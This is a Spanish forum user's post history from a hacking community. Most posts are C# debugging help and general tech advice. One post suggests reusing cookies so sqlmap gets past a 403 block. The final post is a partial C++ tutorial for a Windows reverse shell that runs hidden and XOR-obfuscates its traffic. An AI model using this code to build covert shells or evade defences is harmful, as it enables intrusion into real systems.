Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - d3adly

Páginas: [1] 2 3 ... 5
1
Underc0de / Re: ¿Esta permitido vender programas aquí?
« en: Junio 23, 2021, 12:04:55 pm »
Cita de: ANTRAX
[3] NO se permite ningún tipo de publicidad de otros sitios, ni imagenes promocionandolo, ni enlaces a cualquier tipo de sitio externo a underc0de a menos que sea una descarga directa. Tambien se prohiben los ofrecimientos de trabajo y ventas dentro del foro bajo ninguna circunstancia.

Hola amigo te recomiendo darle una mirada a las reglas del foro -> You are not allowed to view links. Register or Login

Saludos.

2
Dudas y pedidos generales / Re:Codigo de un troyano.
« en: Agosto 08, 2020, 04:19:57 pm »
Hola @You are not allowed to view links. Register or Login, puedes darle una mirada a You are not allowed to view links. Register or Login.
El proyecto esta en github : You are not allowed to view links. Register or Login.

Tambien puedes ver el proyecto del compañero @You are not allowed to view links. Register or Login aqui: You are not allowed to view links. Register or Login.

Saludos.

3
Genial @You are not allowed to view links. Register or Login   ;D, mejor explicacion no hay. En buen momento me uni al irc de underc0de, justo cuando viene lo bueno.

Saludos.

4
E-Zines / Re:UnderDOCS - Julio 2020, Número 12
« en: Julio 10, 2020, 03:01:23 pm »
Felicidades a todo el equipo involucrado en el desarollo de cada entrega.

Respetos y admiracion a las personas que conforman esta hermosa comunidad.

5
Hacking / Re:Ataque por diccionario usando UTesla y Erica
« en: Julio 10, 2020, 02:40:27 pm »
Buenisimo compañero.
Ya decia yo, cuando se viene lo que todos pensamos: cracking distribuido  ;D.

Felicidades por tu proyecto @You are not allowed to view links. Register or Login esta muy genial. UTesla sera la base de mas proyectos geniales como este.

Mis respetos, saludos.

6
Hola @You are not allowed to view links. Register or Login, no estoy muy al tanto del asunto, pero si es posible.

Revisa los siguientes enlaces:

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

Saludos.

7
Dudas y pedidos generales / Re:sqlmap error 403 forbidden
« en: Julio 10, 2020, 12:46:47 am »
You are not allowed to view links. Register or Login
Gracias no creo que sea WAF ya que al inyectar código sql desde la url del navegador el servidor responde con un "Internal server error" en el body de la página a diferencia de sqlmap que devuelve el código de error HTTP 403.

@You are not allowed to view links. Register or Login no es lo mismo realizar un ataque manual que usar una herramienta automatizada. Herramientas como sqlmap generan mucho trafico, y puede que el sitio tenga algun IDS, por lo cual te deniega el acceso al recurso. Mencionaste que en el navegador te funciona, y a menos que tengas deshabilitadas las cookies, este va a setear las que le ofrezca el servidor. Por lo cual puedes probar a usar la cookie que te ofrece desde sqlmap:
You are not allowed to view links. Register or Login
you have not declared cookie(s), while server wants to set its own ...

Saludos.

8
Dudas y pedidos generales / Re:e-Mail certificado?
« en: Julio 09, 2020, 01:19:29 pm »
En realidad cualquiera te puede mandar un correo fingiendo ser otro. Verifica el dominio del correo que dices con el dominio de la entidad certificadora, y si este mismo aparece en algun lado de su sitio. Tambien verifica si esta entidad certificadora es reconocida.

Saludos.

9
Dudas y pedidos generales / Re:Intentar lograr el programa deseado
« en: Julio 08, 2020, 02:44:53 pm »
@You are not allowed to view links. Register or Login creo que no viste la ultima respuesta que te proporcione.

10
Hola @You are not allowed to view links. Register or Login, desde la pc hay maneras de escanear y transmitir haciendo uso de un adaptador externo como se especifica aqui You are not allowed to view links. Register or Login.

Personalmente he probado transmitiendo con una raspberry pi, claro que usando una frecuencia alta al transmitir para no interferir con las ya establecidas. Para escanear y decodificar puedes usar SDR# si estas en Windows o Gqrx en linux, junto con You are not allowed to view links. Register or Login.

Puedes darle una mirada a este enlace You are not allowed to view links. Register or Login. Es un sitio con muchos recursos sobre el tema y guias de instalacion.

Saludos.

11
Dudas y pedidos generales / Re:Intentar lograr el programa deseado
« en: Julio 08, 2020, 12:49:16 pm »
Hola @You are not allowed to view links. Register or Login, en ese caso se soluciona de una manera simple.

Primero se crea una variable global (mas adelante te explico el porque):
Código: (csharp) You are not allowed to view links. Register or Login
static bool bRegresarEditar = false;
Luego en el segundo bucle condicional while, se modifica de esto:
Código: (csharp) You are not allowed to view links. Register or Login
while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter)
A esto:
Código: (csharp) You are not allowed to view links. Register or Login
while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter && !bRegresarEditar)
La cual se cumplira mientras no se presione ENTER y la variable bRegresarEditar siga siendo falsa. Luego esta la forma de "navegar" entre las opciones. Los cases en donde se presione -> o <- seran iguales:
Código: (csharp) You are not allowed to view links. Register or Login
case ConsoleKey.RightArrow:
if(index == 1){
Console.SetCursorPosition(11, 3);
Console.Write(" ");
Console.SetCursorPosition(1, 3);
Console.Write(">");
index = 0;
} else {
Console.SetCursorPosition(1, 3);
Console.Write(" ");
Console.SetCursorPosition(11, 3);
Console.Write(">");
index = 1;
}
break;
case ConsoleKey.LeftArrow:
if(index == 1){
Console.SetCursorPosition(11, 3);
Console.Write(" ");
Console.SetCursorPosition(1, 3);
Console.Write(">");
index = 0;
} else {
Console.SetCursorPosition(1, 3);
Console.Write(" ");
Console.SetCursorPosition(11, 3);
Console.Write(">");
index = 1;
}
break;

Ya que como dices independientemente de que se presione siga cambiando de opcion. Luego al estar entre las opciones de ATRAS o GUARDAR, si se presiona arriba o abajo se ejecua lo siguiente:
Código: (csharp) You are not allowed to view links. Register or Login
if(index == 0){
Console.SetCursorPosition(1, 3);
Console.Write(" ");
} else {
Console.SetCursorPosition(11, 3);
Console.Write(" ");
}
bRegresarEditar = true; // <-- Primer uso de la nueva variable antes creada

Al asignar el valor de verdadero(true)) a la variable se rompe el bucle:
Código: (csharp) You are not allowed to view links. Register or Login
while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter && !bRegresarEditar)con lo cual continua ejecutando el resto del case, en donde esta el nuevo segmento de codigo:

Código: (csharp) You are not allowed to view links. Register or Login
if(bRegresarEditar){                   
bRegresarEditar = false;   
continue;
}
el cual comprueba si la variable es falsa, en otras palabras, si presionaste arriba o abajo estando entre las opciones de ATRAS o GUARDAR. A su vez vuelve a asignarle false a la variable para "resetearla" y luego esta el continue el cual hace regresar al inicio del bucle principal sin comprobar si se eligio alguna de las opciones anteriores.

Lo de la posicion del simbolo > le asigne el valor de 10 para probar pero solo hay una espacio de diferencia con lo cual el valor se le aumenta en 1, es cuestion de logica solamente aumentar la posicion del cursor en X para dibujar el caracter:
Código: (csharp) You are not allowed to view links. Register or Login
Console.SetCursorPosition(11, 3);
El nuevo codigo puede quedar asi:
Código: (csharp) You are not allowed to view links. Register or Login
using System;
namespace LCD_nombre_archivo_consola_08
{
class Program
{
static string guardarNombre = "";
static int coordenadaX = 0;
private static ConsoleKey tecla;
static bool bRegresarEditar = false;

// Caracteres de este array.
static readonly char[] roALFANUMERICO = new char[]
{
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'Ñ', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'ñ', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'x', 'y',
'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','.', ',', '-', '_', ':', ';',
'¿', '?', '(', ')', '[', ']', '{', '}','=', '$','&', '"', ' '
};

// Dirección del carácter del array. El 80 presenta al espacio del array roALFANUMERICO.
static readonly int[] roINDICE_ARRAY = new int[]
{
8, 0, 88, 80, 88, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80
};

private static readonly string[] roTEXTO = new string[] { "GUARDAR", "ATRÁS" };

static int index = 0;
static void Main(string[] args)
{
// Título de la pantalla.
Console.Title = "Cambiar nombre";

Inicio();
}

private static void MainMenu(){
Console.Clear();

Console.SetCursorPosition(0, 0);
Console.Write("Nombre del relé 1:  ");
Console.SetCursorPosition(0, 1);

for (int i = 0; i < roINDICE_ARRAY.Length; i++)
{
Console.Write(roALFANUMERICO[roINDICE_ARRAY[i]]);
}

Console.SetCursorPosition(2, 3);
Console.Write(roTEXTO[0]); // ATRÁS.
Console.SetCursorPosition(12, 3);
Console.Write(roTEXTO[1]); // GUARDAR.
}

#region Inico.
private static void Inicio()
{
Console.SetWindowSize(20, 5);
Console.BackgroundColor = ConsoleColor.Gray;
Console.ForegroundColor = ConsoleColor.Black;

MainMenu();
while (true)
{
index = 0;
if(tecla == ConsoleKey.Enter || tecla == ConsoleKey.RightArrow || tecla == ConsoleKey.LeftArrow){
MainMenu();
}
Console.SetCursorPosition(coordenadaX, 1);

tecla = Console.ReadKey(true).Key;
tecla = ConsoleKey.Enter;
switch (tecla)
{
case ConsoleKey.RightArrow:
if (coordenadaX < 15)
{
coordenadaX++;
}
break;

case ConsoleKey.LeftArrow:
if (coordenadaX > 0)
{
coordenadaX--;
}
break;

case ConsoleKey.UpArrow:
roINDICE_ARRAY[coordenadaX]++;
if (roINDICE_ARRAY[coordenadaX] >= roALFANUMERICO.Length)
{
roINDICE_ARRAY[coordenadaX] = 0;
}
Console.Write(roALFANUMERICO[roINDICE_ARRAY[coordenadaX]]);
break;

case ConsoleKey.DownArrow:
roINDICE_ARRAY[coordenadaX]--;
if (roINDICE_ARRAY[coordenadaX] < 0)
{
roINDICE_ARRAY[coordenadaX] = roALFANUMERICO.Length - 1;
}
Console.Write(roALFANUMERICO[roINDICE_ARRAY[coordenadaX]]);
break;

case ConsoleKey.Enter:
Console.SetCursorPosition(1, 3);
Console.CursorVisible = false;
Console.Write(">");

while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter && !bRegresarEditar){

switch (tecla)
{
case ConsoleKey.RightArrow:
if(index == 1){
Console.SetCursorPosition(11, 3);
Console.Write(" ");
Console.SetCursorPosition(1, 3);
Console.Write(">");
index = 0;
} else {
Console.SetCursorPosition(1, 3);
Console.Write(" ");
Console.SetCursorPosition(11, 3);
Console.Write(">");
index = 1;
}
break;
case ConsoleKey.LeftArrow:
if(index == 1){
Console.SetCursorPosition(11, 3);
Console.Write(" ");
Console.SetCursorPosition(1, 3);
Console.Write(">");
index = 0;
} else {
Console.SetCursorPosition(1, 3);
Console.Write(" ");
Console.SetCursorPosition(11, 3);
Console.Write(">");
index = 1;
}
break;

case ConsoleKey.UpArrow:
case ConsoleKey.DownArrow:
if(index == 0){
Console.SetCursorPosition(1, 3);
Console.Write(" ");
} else {
Console.SetCursorPosition(11, 3);
Console.Write(" ");
}
bRegresarEditar = true;
break;
}
}
if(bRegresarEditar){
bRegresarEditar = false;
continue;
}
if (index == 0){
Atras();
}
if (index == 1){
Guardar();
}
break;
}
}
}
#endregion

private static void Atras()
{
Console.Clear();
Console.SetCursorPosition(0, 1);
Console.Write("HAS PULSADO ATRÁS   ");
//Console.ReadKey();
}

private static void Guardar()
{
guardarNombre = "";
Console.Clear();
Console.SetCursorPosition(0, 1);
Console.Write("HAS GUARDADO       ");
for (int a = 0; a < roINDICE_ARRAY.Length; a++)
{
//guardarNombre += roALFANUMERICO[roINDICE_ARRAY[a]].ToString();
}
Console.SetCursorPosition(0, 2);
Console.Write(guardarNombre);
//Console.ReadKey();
}
}
}

Saludos.

12
Dudas y pedidos generales / Re:Intentar lograr el programa deseado
« en: Julio 08, 2020, 02:13:11 am »
Hola @You are not allowed to view links. Register or Login, me disculpo si la siguiente respuesta no concuerda a tu pregunta pero te explico lo que pude entender de tu dilema.
Despues de haber creado la "frase" se presiona ENTER, y lo que quieres es elegir entre las opciones ATRAS y GUARDAR dibujando el simbolo > antes de dicha opcion. Y que luego de seleccionar dicha opcion el programa te permita seguir editando la "frase" antes creada. O me equivoco?

De no ser asi, te ofrezco una posible solucion.

Primero no necesitas usar tantas clases. Basta con:
Código: (csharp) You are not allowed to view links. Register or Login
using System;
Luego por simple mania y para poder redibujar la consola de una manera mas accesible cree la funcion MainMenu:
Código: (csharp) You are not allowed to view links. Register or Login
private static void MainMenu(){
        Console.Clear();

            Console.SetCursorPosition(0, 0);
            Console.Write("Nombre del relé 1:  ");
            Console.SetCursorPosition(0, 1);
           
            for (int i = 0; i < roINDICE_ARRAY.Length; i++)
            {
                Console.Write(roALFANUMERICO[roINDICE_ARRAY[i]]);
            }

            Console.SetCursorPosition(2, 3);
            Console.Write(roTEXTO[0]); // ATRÁS.
            Console.SetCursorPosition(12, 3);
            Console.Write(roTEXTO[1]); // GUARDAR.
        }

Luego en las primeras lineas del bucle principal, se modifica de la siguiente manera:
Código: (csharp) You are not allowed to view links. Register or Login
while (true){
            index = 0;
            if(tecla == ConsoleKey.Enter || tecla == ConsoleKey.RightArrow || tecla == ConsoleKey.LeftArrow){
            MainMenu();
            }
Compara la tecla presionada anteriormente, cuando se esta en modo "edicion", por asi decirlo, y solamente redibuja la pantalla si se presiono ENTER, -> o <-, para asi tener que evitar llamar a la funcion MainMenu y que parpadee mucho la consola.

Despues sigue la seccion de construir la "frase" y mas abajo esta la nueva modificacion:
Código: (csharp) You are not allowed to view links. Register or Login
while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter){
  switch (tecla){
case ConsoleKey.RightArrow:
   index = 1;
Console.SetCursorPosition(1, 3);
Console.Write(" ");
Console.SetCursorPosition(10, 3);
Console.Write(">");
break;
case ConsoleKey.LeftArrow:
   Console.SetCursorPosition(10, 3);
Console.Write(" ");
Console.SetCursorPosition(1, 3);
Console.Write(">");
index = 0;
break;
case ConsoleKey.UpArrow:
case ConsoleKey.DownArrow:
        Console.SetCursorPosition(coordenadaX, 1);
break;
}
}

Siendo la linea:
Código: (csharp) You are not allowed to view links. Register or Login
while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter){una condicion que se cumplira mientras no se precione la tecla ENTER.

Luego el siguiente segmento que se ejecuta al presionar la tecla ->:
Código: (csharp) You are not allowed to view links. Register or Login
index = 1;
Console.SetCursorPosition(1, 3);
Console.Write(" ");
Console.SetCursorPosition(10, 3);
Console.Write(">");
el cual borra el > escrito anteriormente al lado de ATRAS y lo dibuja entes de la palabra GUARDAR, ademas se le asigna 1 a la variable index.

Lo mismo pero a la inversa si se presiona la tecla <-:
Código: (csharp) You are not allowed to view links. Register or Login
Console.SetCursorPosition(10, 3);
Console.Write(" ");
Console.SetCursorPosition(1, 3);
Console.Write(">");
index = 0;
borra el > que se encuentra al lado de GUARDAR y lo dibuja al lado de ATRAS, y se le asigna el valor de 0 a la variable index. Asi se logra un "efecto" de navegacion entre las opciones disponibles ya que mientras no presiones ENTER dibuja > al lado de la opcion correspondiente.

Otra modificacion "significativa" seria en al funcion Guardar:
Código: (csharp) You are not allowed to view links. Register or Login
private static void Guardar(){
guardarNombre = ""; // <--- Aqui
Console.Clear();
Console.SetCursorPosition(0, 1);
Console.Write("HAS GUARDADO       ");
for (int a = 0; a < roINDICE_ARRAY.Length; a++)
{
guardarNombre += roALFANUMERICO[roINDICE_ARRAY[a]].ToString();
}
Console.SetCursorPosition(0, 2);
Console.Write(guardarNombre);
Console.ReadKey();   // <--- Aqui
}
Primero "resetear" la variable guardarNombre para evitar agregar los datos antes "seteados", y la llamada a Console.ReadKey() para mostrar el mensaje por pantalla sin que se esfume de una vez.

Por ultimo este segmento de codigo es innecesario:
Código: (csharp) You are not allowed to view links. Register or Login
for (int a = 0; a < 2; a++)
{
Console.SetCursorPosition(1 + (10 * a), 3);
if (a == index)
{
Console.Write(">");
}
else
{
Console.Write(" ");
}
}

Concluyendo, tu codigo podria quedar de la siguiente manera:
Código: (csharp) You are not allowed to view links. Register or Login
using System;
namespace LCD_nombre_archivo_consola_08
{
class Program
{
static string guardarNombre = "";
static int coordenadaX = 0;
private static ConsoleKey tecla;

// Caracteres de este array.
static readonly char[] roALFANUMERICO = new char[]
{
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'Ñ', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'ñ', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'x', 'y',
'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','.', ',', '-', '_', ':', ';',
'¿', '?', '(', ')', '[', ']', '{', '}','=', '$','&', '"', ' '
};

// Dirección del carácter del array. El 80 presenta al espacio del array roALFANUMERICO.
static readonly int[] roINDICE_ARRAY = new int[]
{
80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80
};

private static readonly string[] roTEXTO = new string[] { "ATRÁS", "GUARDAR" };

static int index = 0;
static void Main(string[] args)
{
// Título de la pantalla.
Console.Title = "Cambiar nombre";

Inicio();
}

private static void MainMenu(){
Console.Clear();

Console.SetCursorPosition(0, 0);
Console.Write("Nombre del relé 1:  ");
Console.SetCursorPosition(0, 1);

for (int i = 0; i < roINDICE_ARRAY.Length; i++)
{
Console.Write(roALFANUMERICO[roINDICE_ARRAY[i]]);
}

Console.SetCursorPosition(2, 3);
Console.Write(roTEXTO[0]); // ATRÁS.
Console.SetCursorPosition(12, 3);
Console.Write(roTEXTO[1]); // GUARDAR.
}

#region Inico.
private static void Inicio()
{
Console.SetWindowSize(20, 5);
Console.BackgroundColor = ConsoleColor.Gray;
Console.ForegroundColor = ConsoleColor.Black;

MainMenu();
while (true)
{
index = 0;
if(tecla == ConsoleKey.Enter || tecla == ConsoleKey.RightArrow || tecla == ConsoleKey.LeftArrow){
MainMenu();
}
Console.SetCursorPosition(coordenadaX, 1);

tecla = Console.ReadKey(true).Key;
switch (tecla)
{
case ConsoleKey.RightArrow:
if (coordenadaX < 15)
{
coordenadaX++;
}
break;

case ConsoleKey.LeftArrow:
if (coordenadaX > 0)
{
coordenadaX--;
}
break;

case ConsoleKey.UpArrow:
roINDICE_ARRAY[coordenadaX]++;
if (roINDICE_ARRAY[coordenadaX] >= roALFANUMERICO.Length)
{
roINDICE_ARRAY[coordenadaX] = 0;
}
Console.Write(roALFANUMERICO[roINDICE_ARRAY[coordenadaX]]);
break;

case ConsoleKey.DownArrow:
roINDICE_ARRAY[coordenadaX]--;
if (roINDICE_ARRAY[coordenadaX] < 0)
{
roINDICE_ARRAY[coordenadaX] = roALFANUMERICO.Length - 1;
}
Console.Write(roALFANUMERICO[roINDICE_ARRAY[coordenadaX]]);
break;

case ConsoleKey.Enter:
Console.SetCursorPosition(1, 3);
Console.CursorVisible = false;
Console.Write(">");

while((tecla = Console.ReadKey(true).Key) != ConsoleKey.Enter){

switch (tecla)
{
case ConsoleKey.RightArrow:
index = 1;
Console.SetCursorPosition(1, 3);
Console.Write(" ");
Console.SetCursorPosition(10, 3);
Console.Write(">");
break;
case ConsoleKey.LeftArrow:
Console.SetCursorPosition(10, 3);
Console.Write(" ");
Console.SetCursorPosition(1, 3);
Console.Write(">");
index = 0;
break;

case ConsoleKey.UpArrow:
case ConsoleKey.DownArrow:
Console.SetCursorPosition(coordenadaX, 1);
break;
}
}
if (index == 0){
Atras();
}
if (index == 1){
Guardar();
}
break;
}
}
}
#endregion

private static void Atras()
{
Console.Clear();
Console.SetCursorPosition(0, 1);
Console.Write("HAS PULSADO ATRÁS   ");
Console.ReadKey(); // Pulse cualquier tecla para salir.
}

private static void Guardar()
{
guardarNombre = "";
Console.Clear();
Console.SetCursorPosition(0, 1);
Console.Write("HAS GUARDADO       ");
for (int a = 0; a < roINDICE_ARRAY.Length; a++)
{
guardarNombre += roALFANUMERICO[roINDICE_ARRAY[a]].ToString();
}
Console.SetCursorPosition(0, 2);
Console.Write(guardarNombre);
Console.ReadKey();
}
}
}

Espero te sirva de algo, saludos.

13
Dudas y pedidos generales / Re:ayuda con herramienta nuevo KARMA
« en: Julio 07, 2020, 06:11:05 am »
Hola @You are not allowed to view links. Register or Login

Prueba corriendo lo siguiente:

Código: (bash) You are not allowed to view links. Register or Login
sudo apt-get update
sudo apt-get autoremove
sudo dpkg --configure -a
sudo apt-get -f install
Luego vuelve a correr el comando:

Código: (bash) You are not allowed to view links. Register or Login
sudo apt install tor python3 python3-pip
Saludos.

14
Dudas y pedidos generales / Re:Descifrar Hash
« en: Julio 07, 2020, 05:04:40 am »
Hola, al parecer esta entre SHA1 y Cisco 7 como mencionaste.

You are not allowed to view links. Register or Login
yo se cual debe ser el resultado, pero quiero saber que tipo de hash es.
Conociendo el resultado el proceso se te hara mas sencillo, basta con generar el hash de la "frase" usando diferentes algoritmos como los mencionados anteriormente, y comparar el resultado de cada algoritmo con el hash que ya tienes 4788c8fa9c031dd87882e6736991f8083861dedb.

15
Talleres Underc0de / Re:Taller de Hardware #2
« en: Julio 06, 2020, 01:52:29 am »
No estoy muy familiarizado en el tema de refrigeracion, o de que placa te convenga mas que otra, se lo dejo a otro usuario que sea experto en el tema, pero no necesariamente tienes que tener una pc de tan alto rendimiento si quieres empezar, a no ser que el uso que le vayas a dar exija que sea de gama alta. Actualmente tengo por procesador un Celeron de 1.60 GHz de un par de años atras y hasta ahora me va bien para el uso diario, programacion e informatica en general. Entonces te sugiero que analizes cual sera el uso principal, luego puedes investigar que requisitos exije esa tarea que ejecutaras la mayoria del tiempo y podras adaptarlo a tu presupuesto. Suerte :D.

16
Talleres Underc0de / Re:Taller de Hardware #2
« en: Julio 06, 2020, 01:12:51 am »
Es un placer @You are not allowed to view links. Register or Login, la proxima vez que tengas una duda procura hacerlo en el subforo de You are not allowed to view links. Register or Login.

17
Talleres Underc0de / Re:Taller de Hardware #2
« en: Julio 05, 2020, 11:03:57 pm »
Hola @You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
estuve mirando portatiles pero quisiera aprender a armar un pc y elegir cada parte pero necesito de la ayuda de ustedes comenzando por marcas y modelos de gabinetes de alto rendimiento (sin irnos a los mas caros para gamers) y todo lo demás.

Respecto a portatiles, no son muy "modificables" en si, pero si te decides por una de escritorio puedes revisar este post You are not allowed to view links. Register or Login en el cual se discute sobre varios montos con los cuales puedes armar una pc de buenos requisitos, aunque los precios pueden variar.

Saludos.

18
Hacking / Re:Shell inversa "Cifrada" segunda parte (Windows)
« en: Julio 05, 2020, 10:54:50 pm »
Gracias @You are not allowed to view links. Register or Login  ;D

19
Hacking / Re:Shell inversa "Cifrada" segunda parte (Windows)
« en: Julio 05, 2020, 10:02:34 pm »
Gracias @You are not allowed to view links. Register or Login para mi es un placer  ;D

20
Hacking / Shell inversa "Cifrada" segunda parte (Windows)
« en: Julio 05, 2020, 09:14:44 pm »
Hola comunidad, hoy traigo la segunda parte del post anterior sobre You are not allowed to view links. Register or Login, esta vez aplicado a sistemas Windows.

En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:
  • You are not allowed to view links. Register or Login          - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
  • You are not allowed to view links. Register or Login - Copia y extrae informacion de una tuberia sin modificar su contenido.
  • You are not allowed to view links. Register or Login    - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.

Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: (cpp) You are not allowed to view links. Register or Login
   HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
   stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
   
   SECURITY_ATTRIBUTES sa;
   sa.nLength = sizeof(SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor =  nullptr;
   sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
   if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
      //No se pudo crear las tuberias                 
   }
En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura You are not allowed to view links. Register or Login contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: (cpp) You are not allowed to view links. Register or Login
BOOL CreatePipe(
  PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd) 
  PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
);
Extraido de la web de You are not allowed to view links. Register or Login
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:

Código: (text) You are not allowed to view links. Register or Login
stdinRd < === > stdinWr
stdoutRd < === > stdoutWr
Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.

Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):

Código: (cpp) You are not allowed to view links. Register or Login
   PROCESS_INFORMATION pi;
   STARTUPINFO si;
   GetStartupInfo(&si);
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;
   if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
      //No se pudo invocar la shell                       
   }

La estructura You are not allowed to view links. Register or Login contiene la informacion de como se creara la ventana del nuevo proceso. La funcion You are not allowed to view links. Register or Login obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:

Código: (cpp) You are not allowed to view links. Register or Login
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;
El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
  • STARTF_USESTDHANDLES    - Redireccionar salida y entrada del programa hacia nuestras tuberias.
  • STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
La opcion wShowWindow especifica como se mostrara la ventana del nuevo proceso, en este caso SW_HIDE (Oculta). Luego le siguen las opciones hStdOutput , hStdError y hStdInput las cuales son nuestras tuberias que leeran y escribiran al programa. Entonces las salida y entrada del programa funcionara de la siguiente manera:
  • Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
  • Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.

Despues se crea el proceso haciendo uso de la funcion CreateProcess:

Código: (cpp) You are not allowed to view links. Register or Login
CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)La cual recibe los siguientes parametros:

Código: (cpp) You are not allowed to view links. Register or Login
BOOL CreateProcess(
  LPCWSTR pszImageName,
  LPCWSTR pszCmdLine,
  LPSECURITY_ATTRIBUTES psaProcess,
  LPSECURITY_ATTRIBUTES psaThread,
  BOOL fInheritHandles,
  DWORD fdwCreate,
  LPVOID pvEnvironment,
  LPWSTR pszCurDir,
  LPSTARTUPINFOW psiStartInfo,
  LPPROCESS_INFORMATION pProcInfo
);
Extraido de la web de You are not allowed to view links. Register or Login
En este caso solo nos interesan 5 parametros:
  • pszCmdLine       - Ruta al programa a  ejecutar (programa.exe).
  • fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
  • pvEnvironment  - Especifica el entorno en el cual se creara el nuevo proceso.
  • psiStartInfo       - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
  • pProcInfo           - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
con las  demas opciones se le pasara como parametro nullptr. Si la funcion se ejecuto correctamente retorna un valor diferente de 0, si retorna este valor significa que hubo un error.

Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:

Código: (cpp) You are not allowed to view links. Register or Login
//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}

El hilo el cual escribira al proceso va de la siguiente manera:
Código: (cpp) You are not allowed to view links. Register or Login
while(EstaCorriendoLaShell){
char buffer[1024];
recv(sckSocket, buffer, 1024, 0);
std::string strCmd = Xor(std::string(buffer));
   DWORD longitud = strCmd.length();
   DWORD bytesEscritos = 0;
if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
//Error escribiendo a la tuberia
EstaCorriendoLaShell = false;
break;
}
}
